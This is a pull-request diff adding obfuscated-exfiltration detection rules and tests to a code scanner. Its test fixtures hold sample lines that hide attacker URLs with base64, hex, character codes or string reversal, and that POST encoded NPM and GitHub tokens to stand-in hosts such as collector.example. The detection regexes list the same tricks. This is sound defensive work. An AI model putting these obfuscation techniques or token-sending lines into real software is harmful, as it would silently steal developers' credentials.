Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
1 change: 1 addition & 0 deletions scanner/package.json
Original file line number Diff line number Diff line change
Expand Up @@ -6,6 +6,7 @@
"type": "module",
"scripts": {
"build": "tsc",
"test": "npm run build && node --test dist/obfuscated-exfiltration.test.js",
"start": "node dist/index.js",
"dev": "tsx watch src/index.ts",
"scan": "tsx src/cli.ts"
Expand Down
94 changes: 94 additions & 0 deletions scanner/src/obfuscated-exfiltration.test.ts
Original file line number Diff line number Diff line change
@@ -0,0 +1,94 @@
import test from 'node:test';
import assert from 'node:assert/strict';
import { analyzeContent } from './analyzer.js';

function patternIdsFor(source: string): string[] {
return analyzeContent(source).findings.map((finding) => finding.patternId);
}

test('detects base64 encoded HTTPS exfiltration URLs with atob', () => {
const ids = patternIdsFor(`
const u = atob("aHR0cHM6Ly9ldmlsLmV4YW1wbGUvY29sbGVjdA==");
fetch(u, { method: "POST", body: process.env.NPM_TOKEN });
`);

assert.ok(ids.includes('EXFIL_BASE64_URL'));
});

test('detects base64 encoded HTTP exfiltration URLs with Buffer.from', () => {
const ids = patternIdsFor(`
const endpoint = Buffer.from("aHR0cDovL2NvbGxlY3Rvci5leGFtcGxlL2E=", "base64").toString();
request(endpoint);
`);

assert.ok(ids.includes('EXFIL_BASE64_URL'));
});

test('detects hex encoded HTTPS exfiltration URLs in JavaScript', () => {
const ids = patternIdsFor(`
const target = Buffer.from("68747470733a2f2f6576696c2e6578616d706c652f6c6f67", "hex").toString();
fetch(target);
`);

assert.ok(ids.includes('EXFIL_HEX_URL'));
});

test('detects hex encoded HTTPS exfiltration URLs in Python', () => {
const ids = patternIdsFor(`
import bytes
target = bytes.fromhex("68747470733a2f2f6576696c2e6578616d706c652f737465616c")
`);

assert.ok(ids.includes('EXFIL_HEX_URL'));
});

test('detects JavaScript charcode URL construction', () => {
const ids = patternIdsFor(`
const url = String.fromCharCode(104, 116, 116, 112, 115, 58, 47, 47, 101, 118, 105, 108);
`);

assert.ok(ids.includes('EXFIL_CHARCODE_URL'));
});

test('detects Python chr URL construction', () => {
const ids = patternIdsFor(`
url = chr(104) + chr(116) + chr(116) + chr(112) + chr(115) + chr(58)
`);

assert.ok(ids.includes('EXFIL_CHARCODE_URL'));
});

test('detects reversed HTTPS URLs', () => {
const ids = patternIdsFor(`
const endpoint = "moc.elpmaxe.live//:sptth".split("").reverse().join("");
`);

assert.ok(ids.includes('EXFIL_REVERSED_URL'));
});

test('detects encoded npm token exfiltration', () => {
const ids = patternIdsFor(`
const token = Buffer.from(process.env.NPM_TOKEN).toString("base64");
fetch("https://collector.example/log", { method: "POST", body: token });
`);

assert.ok(ids.includes('EXFIL_OBFUSCATED_ENV_SEND'));
});

test('detects encoded GitHub token exfiltration before outbound request', () => {
const ids = patternIdsFor(`
fetch(endpoint, { body: btoa(process.env.GITHUB_TOKEN) });
`);

assert.ok(ids.includes('EXFIL_OBFUSCATED_ENV_SEND'));
});

test('does not flag benign base64 image data or public config', () => {
const ids = patternIdsFor(`
const logo = "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAUA";
const apiUrl = process.env.PUBLIC_API_URL;
`);

assert.equal(ids.includes('EXFIL_BASE64_URL'), false);
assert.equal(ids.includes('EXFIL_OBFUSCATED_ENV_SEND'), false);
});
40 changes: 40 additions & 0 deletions scanner/src/patterns.ts
Original file line number Diff line number Diff line change
Expand Up @@ -71,6 +71,46 @@ export const DANGEROUS_PATTERNS: Pattern[] = [
pattern: /btoa\s*\(|Buffer\.from\(.*\)\.toString\s*\(\s*['"`]base64['"`]\s*\)/gi,
category: 'exfiltration'
},
{
id: 'EXFIL_BASE64_URL',
name: 'Base64 Encoded Exfiltration URL',
description: 'Encoded http(s) endpoint used to hide an exfiltration destination',
severity: 'critical',
pattern: /(?:atob|Buffer\.from)\s*\(\s*['"`](?:aHR0cHM6Ly|aHR0cDovL)[A-Za-z0-9+/=]{8,}['"`](?:\s*,\s*['"`]base64['"`])?/gi,
category: 'exfiltration'
},
{
id: 'EXFIL_HEX_URL',
name: 'Hex Encoded Exfiltration URL',
description: 'Hex encoded http(s) endpoint used to hide an exfiltration destination',
severity: 'critical',
pattern: /(?:Buffer\.from|bytes\.fromhex|binascii\.unhexlify)\s*\(\s*['"`](?:68747470733a2f2f|687474703a2f2f)[0-9a-f]{12,}['"`]\s*(?:,\s*['"`]hex['"`])?/gi,
category: 'exfiltration'
},
{
id: 'EXFIL_CHARCODE_URL',
name: 'CharCode Constructed Exfiltration URL',
description: 'HTTP endpoint constructed from character codes',
severity: 'critical',
pattern: /(?:String\.fromCharCode\s*\(\s*104\s*,\s*116\s*,\s*116\s*,\s*112|(?:chr\s*\(\s*104\s*\)\s*\+\s*)?chr\s*\(\s*104\s*\)\s*\+\s*chr\s*\(\s*116\s*\)\s*\+\s*chr\s*\(\s*116\s*\)\s*\+\s*chr\s*\(\s*112\s*\))/gi,
category: 'exfiltration'
},
{
id: 'EXFIL_REVERSED_URL',
name: 'Reversed Exfiltration URL',
description: 'HTTP endpoint hidden by reversing a string before use',
severity: 'high',
pattern: /['"`][^'"`]{6,}\/\/:s?ptth['"`]\s*\.split\s*\(\s*['"`]{0,2}\s*['"`]{0,2}\s*\)\s*\.reverse\s*\(\s*\)\s*\.join\s*\(\s*['"`]{0,2}\s*['"`]{0,2}\s*\)/gi,
category: 'exfiltration'
},
{
id: 'EXFIL_OBFUSCATED_ENV_SEND',
name: 'Obfuscated Credential Exfiltration',
description: 'Environment secrets are encoded or obfuscated near an outbound transmission',
severity: 'critical',
pattern: /(?:process\.env|os\.environ)[\s\S]{0,400}(?:TOKEN|SECRET|PASSWORD|PRIVATE|KEY|AWS_|NPM_|GITHUB_)[\s\S]{0,400}(?:btoa|Buffer\.from|base64|hex|String\.fromCharCode|atob|reverse\s*\(|encodeURIComponent)[\s\S]{0,400}(?:fetch|axios|request|requests\.post|urllib3|https?\.request|sendBeacon)|(?:fetch|axios|request|requests\.post|urllib3|https?\.request|sendBeacon)[\s\S]{0,400}(?:btoa|Buffer\.from|base64|hex|String\.fromCharCode|atob|reverse\s*\(|encodeURIComponent)[\s\S]{0,400}(?:process\.env|os\.environ)[\s\S]{0,400}(?:TOKEN|SECRET|PASSWORD|PRIVATE|KEY|AWS_|NPM_|GITHUB_)/gi,
category: 'exfiltration'
},

// === HIGH: Credential access ===
{
Expand Down